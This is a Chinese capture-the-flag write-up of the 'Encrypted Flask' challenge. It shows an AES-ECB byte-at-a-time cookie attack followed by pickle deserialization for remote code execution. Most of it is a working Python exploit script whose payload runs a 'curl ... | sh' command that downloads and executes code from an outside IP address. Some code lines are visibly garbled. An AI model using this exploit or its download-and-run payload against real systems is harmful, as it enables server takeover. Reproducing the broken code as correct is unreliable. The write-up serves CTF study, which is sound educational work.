《从0到1:CTFer成长之路》书籍配套题⽬-[第三章web进阶]EncryptedFlask [第三章 web进阶]Encrypted Flask
介绍:记录⼀下笔记,⽅便以后迅速回忆使⽤。
《从0到1:CTFer成长之路》书籍配套题⽬,来源⽹站:
链接:pan.baidu/s/1PptLyzuhtPu3SbII8pKo_g  密码:njsl
第⼀步:查看⽹站的正常功能
先查看⽹站的正常功能
在这个题⽬⾥⾯提供了登录, 注册, 在注册之后, 发现了⼀个world的路由, 可以进⾏花式投票, 然⽽这个并没有什么⽤
花式投票中有⼏个关键词
Session (Your Choice)
Chaos
Crypto
Amazing
Exciting
RCE
Lucky
Great
AES
Interesting
根据提⽰的内容,⼤概可以猜想是AES加密了
第⼆步:对AES加密⽅式的分析
对AES加密⽅式的分析, 通过注册⼀个超长的⽤户名, ⽐如testXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 请求包
POST/register HTTP/1.1
Host: de3.buuoj
Content-Length:130
Cache-Control: max-age=0
Upgrade-Insecure-Requests:1
Origin: de3.buuoj
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0(Windows NT10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: de3.buuoj/register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
username=testXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX &password=123456789
响应包
HTTP/1.1302 Found
Server: openresty
Date: Thu,04 Mar 202101:35:55 GMT
Content-Type: text/html; charset=utf-8
Content-Length:209
Connection: close
Location: de3.buuoj/
Set-Cookie: session=fae8a57d0d70e24ba3e5f856d8cf7ce5d509591e3864381eb4502e976e506a1a90f5625f1d01d9f072af974ce3c5710190f5625f1d01d9f 072af974ce3c5710190f5625f1d01d9f072af974ce3c5710190f5625f1d01d9f072af974ce3c5710190f5625f1d01d9f072af974ce3c571013a5e0452557b33ce0 39c4ab3b855a465; Path=/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title&</title>
<h1&</h1>
<p>You should be redirected automatically to target URL:<a href="/">/</a>.  If not click the link.
发现保存的session变成了
fae8a57d0d70e24ba3e5f856d8cf7ce5d509591e3864381eb4502e976e506a1a90f5625f1d01d9f072af974ce3c5710190f5625f1d01d9f072af974ce3c57101 90f5625f1d01d9f072af974ce3c5710190f5625f1d01d9f072af974ce3c5710190f5625f1d01d9f072af974ce3c571013a5e0452557b33ce039c4ab3b855a465
⽽⾥⾯包含有三个重复的5710190f5625f1d01d9f072af974ce3c串
我标出来,⽅便观看
fae8a57d0d70e24ba3e5f856d8cf7ce5d509591e3864381eb4502e976e506a1a90f5625f1d01d9f072af974ce3c 5710190f5625f1d01d9f072af974ce3c
5710190f5625f1d01d9f072af974ce3c
5710190f5625f1d01d9f072af974ce3c
5710190f5625f1d01d9f072af974ce3c
571013a5e0452557b33ce039c4ab3b855a465
那么根据题⽬中提到的`AES`,基本上可以断定这个题是把`AES-ECB-128(some-informatin, usernam
e, more-information)`作为了session发送给客户端的.那么我们不妨看看`more-information`具体是个什么东西.
第三步:
通过写⼀个脚本, ⽆限注册⽤户, 这⾥推荐⽤户名前⾯加⼀个由任意字符串组成的random串, 防⽌跟别⼈注册的东西重复
import requests
import random
import pickle
import os
import struct
import collections
url ="de3.buuoj/"
def register(username, password):
while True:
try:
prefix =bytes([random.randint(0x20,0x7e)for i in range(6)])
s = requests.session()
req = s.post(url+"/register", data={"username": prefix+username,"password":password})
_dict()
except(KeyError, ptions.ConnectionError):
pass
def split32_check(cookie):
g =[cookie[i:i+32]for i in range(0,len(cookie),32)]
g =[cookie[i:i+32]for i in range(0,len(cookie),32)]
if len(list(g))!=len(set(g)):
l =[item for item, count in collections.Counter(g).items()if count >1]
return l[0]
return None
def check_n():
for i in range(200):
cookie = register(b'X'*i,'testpassword')["session"]
if not split32_check(cookie):
continue
else:
print("n =", i)
print("Cookie =", cookie)
return i, split32_check(cookie)
def restore_tail():
tail = b""
while len(tail)!=16:
for c in range(0,255):
username =bytes([random.randint(0x20,0x7e)for i in range(12)])
username = username+(16-len(tail)-1)* b'X'+ tail +bytes([c])
username = username +((16-len(tail)-1)* b'X')
cookie = register(username,'testpassword')['session']
if split32_check(cookie):
tail+=bytes([c])
print("tail now: ", tail)
import pickle
break
return tail
class Shell(object):
def__reduce__(self):
return(os.system,("bash -c 'curl w.sh/58.87.73.74:8888 | sh'",))
def gen_payload(cmd):
payload = b'q\x01'# 结束前⼀个字符串
payload += b"cposix\nsystem\n(X"+struct.pack('<I',len(cmd))+cmd+b"tR"#payload_forwin    payload += b"e.\x00\x00\x00\x00\x00"# 闭合+ pickle结束
return payload
if __name__ =="__main__":
# Step One
# check_n()
n, repeat = check_n()
print(repeat)
# Step Two
# tail = restore_tail()
# print(tail)
# tail = b'q\x01Ne.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
# Step Three
payload = gen_payload(b"curl w.sh/58.87.73.74:8888 | sh")
# Step Four
payload += b'\x00'*((16-len(payload)%16)%16)# 补齐到16整数倍
username =bytes([random.randint(0x20,0x7e)for i in range(n-32)])
username += payload
cookie = register(username,'password')["session"]
new_cookie = cookie[:32]
for i in range(int(len(payload)/16)):
new_cookie += repeat
new_cookie += cookie[32:]
req = (url, cookies={"session":new_cookie})
通过注册username='random'+'X'*n的字符串, 我们发现在n=45字符串长度为51时, cookie中刚好出现了重复的串, 此时可以推断出, 重复的部分为密钥对’X’*16的加密结果
username[18:34] username[34:50]对应了重复的串,⽽最后的32位⼗六进制编码的数则是对`more-information`的加密结果了
因为在AES-ECB-128加密⽅式中`AES-ECB-128('X'*15+ more-information[0])==AES-ECB-128('X'*15+ c)`,通过编写代码,我们可以恢复c的值,然后恢复出整个`more-information`串.
为: `b'q\x01Ne.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'`
第四步:
从tail中我们可以猜想到使⽤的编码⽅式为pickle
如果要搞定这部分,需要对pickle的编码格式有⼀定的了解.从恢复出的tail可以看出,
`q\x01`为前⼀个的结束
`N` -> `None`
`e.` ->闭合
那我们就可以构造出⼀个payload,发送给服务器
第五步:
直接看代码⾥⾯的step 4+吧,这⾥因为pickle在格式化字符串的时候会将字符串的长度写在⾥⾯,所以我们的payload不能直接运⾏,需要将username补全到正确的长度,让pickle认为username已经结束,需要进⾏下⼀个部分的解析了.
⽽在AES-ECB中对于相同字符串的加密结果不会变,那就导致了我可以直接⽤前⾯⽤于测试的`'X'*16`的加密后对应的字符串⽤来补全,也就是代码中L77-82的作⽤.
然后pickle才会开始进⾏下⼀个对象,也就是我们payload的解析,从⽽完成RCE.
最后⼀步:
RCE:

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。